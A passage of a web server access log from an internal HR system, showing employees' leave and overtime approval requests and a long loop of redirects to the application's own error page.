/eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - 192.168.139.16 - - [02/Dec/2025:13:21:55 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E7%AD%BE%E6%A0%B8" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.139.16 - - [02/Dec/2025:13:21:55 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - 192.168.139.16 - - [02/Dec/2025:13:21:55 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E7%AD%BE%E6%A0%B8" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.139.16 - - [02/Dec/2025:13:21:55 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - 192.168.139.16 - - [02/Dec/2025:13:21:56 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E7%AD%BE%E6%A0%B8" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.139.16 - - [02/Dec/2025:13:21:56 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - 192.168.139.16 - - [02/Dec/2025:13:21:56 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E7%AD%BE%E6%A0%B8" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.139.16 - - [02/Dec/2025:13:21:56 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - 192.168.139.16 - - [02/Dec/2025:13:21:56 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E7%AD%BE%E6%A0%B8" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.139.16 - - [02/Dec/2025:13:21:56 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - 192.168.139.16 - - [02/Dec/2025:13:21:56 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E7%AD%BE%E6%A0%B8" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.139.16 - - [02/Dec/2025:13:21:56 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - 192.168.139.16 - - [02/Dec/2025:13:21:57 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E7%AD%BE%E6%A0%B8" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.139.16 - - [02/Dec/2025:13:21:57 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - 192.168.139.16 - - [02/Dec/2025:13:21:57 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E7%AD%BE%E6%A0%B8" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.139.16 - - [02/Dec/2025:13:21:57 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - 192.168.139.16 - - [02/Dec/2025:13:21:57 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E7%AD%BE%E6%A0%B8" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.139.16 - - [02/Dec/2025:13:21:57 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - 192.168.139.16 - - [02/Dec/2025:13:21:57 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E7%AD%BE%E6%A0%B8" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.139.16 - - [02/Dec/2025:13:21:57 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - 192.168.139.16 - - [02/Dec/2025:13:21:58 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E7%AD%BE%E6%A0%B8" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.139.16 - - [02/Dec/2025:13:21:58 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - 192.168.139.16 - - [02/Dec/2025:13:21:58 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E7%AD%BE%E6%A0%B8" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.139.16 - - [02/Dec/2025:13:21:58 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - 192.168.139.16 - - [02/Dec/2025:13:21:58 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E7%AD%BE%E6%A0%B8" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.139.16 - - [02/Dec/2025:13:21:58 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - 192.168.139.16 - - [02/Dec/2025:13:21:59 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E7%AD%BE%E6%A0%B8" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.139.16 - - [02/Dec/2025:13:21:59 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - 192.168.139.16 - - [02/Dec/2025:13:21:59 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E7%AD%BE%E6%A0%B8" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.139.16 - - [02/Dec/2025:13:21:59 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - 192.168.11.52 - - [02/Dec/2025:13:22:42 +0800] "POST /eHR/ess/redirect.php?scriptname=view_flowchart&action=viewflowchart&apply_type=absence&flow_seqno=120325 HTTP/1.1" 200 5228 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.11.52 - - [02/Dec/2025:13:22:42 +0800] "POST /eHR/ess/redirect.php?scriptname=view_flowchart&action=viewflowchart&apply_type=absence&flow_seqno=120325 HTTP/1.1" 200 5228 192.168.11.108 - - [02/Dec/2025:13:23:04 +0800] "POST /eHR/ess/includes/login.php HTTP/1.1" 302 - "http://hcp.maglayers.com.cn:8088/eHR/ess/index.php?action=logout" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.11.108 - - [02/Dec/2025:13:23:04 +0800] "POST /eHR/ess/includes/login.php HTTP/1.1" 302 - 192.168.11.108 - - [02/Dec/2025:13:23:04 +0800] "GET /eHR/ess/redirect.php HTTP/1.1" 200 9510 "http://hcp.maglayers.com.cn:8088/eHR/ess/index.php?action=logout" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.11.108 - - [02/Dec/2025:13:23:04 +0800] "GET /eHR/ess/redirect.php HTTP/1.1" 200 9510 192.168.11.108 - - [02/Dec/2025:13:23:05 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNH000 HTTP/1.1" 200 10646 "http://hcp.maglayers.com.cn:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.11.108 - - [02/Dec/2025:13:23:05 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNH000 HTTP/1.1" 200 10646 192.168.11.108 - - [02/Dec/2025:13:23:09 +0800] "GET /eHR/mgr/redirect.php?scriptname=MDNH104&appdesc=%E8%AF%B7%E5%81%87%E5%BE%85%E7%AD%BE HTTP/1.1" 200 12105 "http://hcp.maglayers.com.cn:8088/eHR/ess/redirect.php?scriptname=ESNH000" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.11.108 - - [02/Dec/2025:13:23:09 +0800] "GET /eHR/mgr/redirect.php?scriptname=MDNH104&appdesc=%E8%AF%B7%E5%81%87%E5%BE%85%E7%AD%BE HTTP/1.1" 200 12105 192.168.11.108 - - [02/Dec/2025:13:23:10 +0800] "GET /eHR/mgr/redirect.php?scriptname=MDNH104&appdesc=%E8%AF%B7%E5%81%87%E5%BE%85%E7%AD%BE HTTP/1.1" 200 12105 "http://hcp.maglayers.com.cn:8088/eHR/ess/redirect.php?scriptname=ESNH000" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.11.108 - - [02/Dec/2025:13:23:10 +0800] "GET /eHR/mgr/redirect.php?scriptname=MDNH104&appdesc=%E8%AF%B7%E5%81%87%E5%BE%85%E7%AD%BE HTTP/1.1" 200 12105 192.168.11.108 - - [02/Dec/2025:13:23:21 +0800] "POST /eHR/mgr/redirect.php?scriptname=MDNH104&appdesc=%E8%AF%B7%E5%81%87%E5%BE%85%E7%AD%BE HTTP/1.1" 200 3998 "http://hcp.maglayers.com.cn:8088/eHR/mgr/redirect.php?scriptname=MDNH104&appdesc=%E8%AF%B7%E5%81%87%E5%BE%85%E7%AD%BE" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.11.108 - - [02/Dec/2025:13:23:21 +0800] "POST /eHR/mgr/redirect.php?scriptname=MDNH104&appdesc=%E8%AF%B7%E5%81%87%E5%BE%85%E7%AD%BE HTTP/1.1" 200 3998 192.168.11.108 - - [02/Dec/2025:13:23:26 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNH004&appdesc=%E5%8A%A0%E7%8F%AD%E7%AD%BE%E6%A0%B8 HTTP/1.1" 302 - "http://hcp.maglayers.com.cn:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.11.108 - - [02/Dec/2025:13:23:26 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNH004&appdesc=%E5%8A%A0%E7%8F%AD%E7%AD%BE%E6%A0%B8 HTTP/1.1" 302 - 192.168.11.108 - - [02/Dec/2025:13:23:26 +0800] "GET /eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E7%AD%BE%E6%A0%B8 HTTP/1.1" 200 63384 "http://hcp.maglayers.com.cn:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.11.108 - - [02/Dec/2025:13:23:26 +0800] "GET /eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E7%AD%BE%E6%A0%B8 HTTP/1.1" 200 63384 192.168.11.108 - - [02/Dec/2025:13:26:48 +0800] "POST /eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E7%AD%BE%E6%A0%B8 HTTP/1.1" 302 - "http://hcp.maglayers.com.cn:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E7%AD%BE%E6%A0%B8" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.11.108 - - [02/Dec/2025:13:26:48 +0800] "POST /eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E7%AD%BE%E6%A0%B8 HTTP/1.1" 302 - 192.168.11.108 - - [02/Dec/2025:13:26:50 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_success&msgtxt=%E6%82%A8%E7%9A%84%E7%B0%BD%E6%A0%B8%EF%BC%8C%E5%B7%B2%E6%88%90%E5%8A%9F%E6%8F%90%E4%BA%A4%E5%88%B0%E5%BE%8C%E5%8F%B0%E8%99%95%E7%90%86.%3Cbr%3E%E6%82%A8%E5%8F%AF%E4%BB%A5%E7%82%B9%3Ca+href%3D%22..%2Fess%2Fredirect.php%3Fscriptname%3DESNH100%26requestno%3D132698%22%3E%E9%80%99%E8%A3%A1%3C%2Fa%3E%E6%9F%A5%E7%9C%8B%E7%B0%BD%E6%A0%B8%E7%B5%90%E6%9E%9C%E3%80%82%3Cbr%3E%E6%89%B9%E6%AC%A1%E8%99%9F%3A132698&target=iframe HTTP/1.1" 302 - "http://hcp.maglayers.com.cn:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E7%AD%BE%E6%A0%B8" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.11.108 - - [02/Dec/2025:13:26:50 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_success&msgtxt=%E6%82%A8%E7%9A%84%E7%B0%BD%E6%A0%B8%EF%BC%8C%E5%B7%B2%E6%88%90%E5%8A%9F%E6%8F%90%E4%BA%A4%E5%88%B0%E5%BE%8C%E5%8F%B0%E8%99%95%E7%90%86.%3Cbr%3E%E6%82%A8%E5%8F%AF%E4%BB%A5%E7%82%B9%3Ca+href%3D%22..%2Fess%2Fredirect.php%3Fscriptname%3DESNH100%26requestno%3D132698%22%3E%E9%80%99%E8%A3%A1%3C%2Fa%3E%E6%9F%A5%E7%9C%8B%E7%B0%BD%E6%A0%B8%E7%B5%90%E6%9E%9C%E3%80%82%3Cbr%3E%E6%89%B9%E6%AC%A1%E8%99%9F%3A132698&target=iframe HTTP/1.1" 302 - 192.168.11.108 - - [02/Dec/2025:13:26:50 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_success%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://hcp.maglayers.com.cn:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E7%AD%BE%E6%A0%B8" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.11.108 - - [02/Dec/2025:13:26:50 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_success%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - 192.168.11.108 - - [02/Dec/2025:13:26:51 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://hcp.maglayers.com.cn:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E7%AD%BE%E6%A0%B8" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.11.108 - - [02/Dec/2025:13:26:51 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - 192.168.11.108 - - [02/Dec/2025:13:26:51 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://hcp.maglayers.com.cn:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E7%AD%BE%E6%A0%B8" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.11.108 - - [02/Dec/2025:13:26:51 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - 192.168.11.108 - - [02/Dec/2025:13:26:51 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://hcp.maglayers.com.cn:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E7%AD%BE%E6%A0%B8" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.11.108 